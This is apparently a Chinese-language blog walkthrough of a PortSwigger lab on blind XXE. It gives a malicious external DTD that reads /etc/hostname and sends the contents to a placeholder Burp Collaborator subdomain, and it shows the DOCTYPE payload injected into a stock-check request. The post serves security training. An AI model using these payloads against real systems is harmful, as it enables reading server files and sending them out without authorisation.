Lab: Exploiting blind XXE to exfiltrate data using a malicious external DTD:利用 XXE 使用恶意外部 DTD 窃取数据

该实验室具有“检查股票”功能,可解析 XML 输入但不显示结果。

要解决实验室问题,请提取/etc/hostname文件的内容。

  • 使用Burp Suite Professional,转到 Burp 菜单,然后启动Burp Collaborator 客户端。
  • 单击“复制到剪贴板”将唯一的 Burp Collaborator 负载复制到剪贴板。让 Burp Collaborator 客户端窗口保持打开状态。
  • 将 Burp Collaborator 负载放入恶意 DTD 文件中:
  • <!ENTITY % file SYSTEM "file:///etc/hostname">
  • <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net/?x=%file;'>">
  • %eval;
  • %exfil;

image

  • 单击“转到漏洞利用服务器”并将恶意 DTD 文件保存在您的服务器上。单击“查看漏洞利用”并记下 URL。
    image
  • 您需要通过添加引用恶意 DTD 的参数实体来利用股票检查器功能。首先,访问产品页面,单击“检查库存”,并在 Burp Suite 中拦截生成的 POST 请求。
  • 在 XML 声明和stockCheck元素之间插入以下外部实体定义:
    - <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "YOUR-DTD-URL"> %xxe;]>
    image
  • 返回 Burp Collaborator 客户端窗口,然后单击“Poll now”。如果您没有看到列出的任何交互,请等待几秒钟,然后重试。
    image
  • 您应该会看到一些由应用程序启动的 DNS 和 HTTP 交互,这些交互是您的负载的结果。HTTP 交互可以包含/etc/hostname文件的内容。
posted @ 2021-08-26 16:04  Zeker62  阅读(168)  评论(0编辑  收藏  举报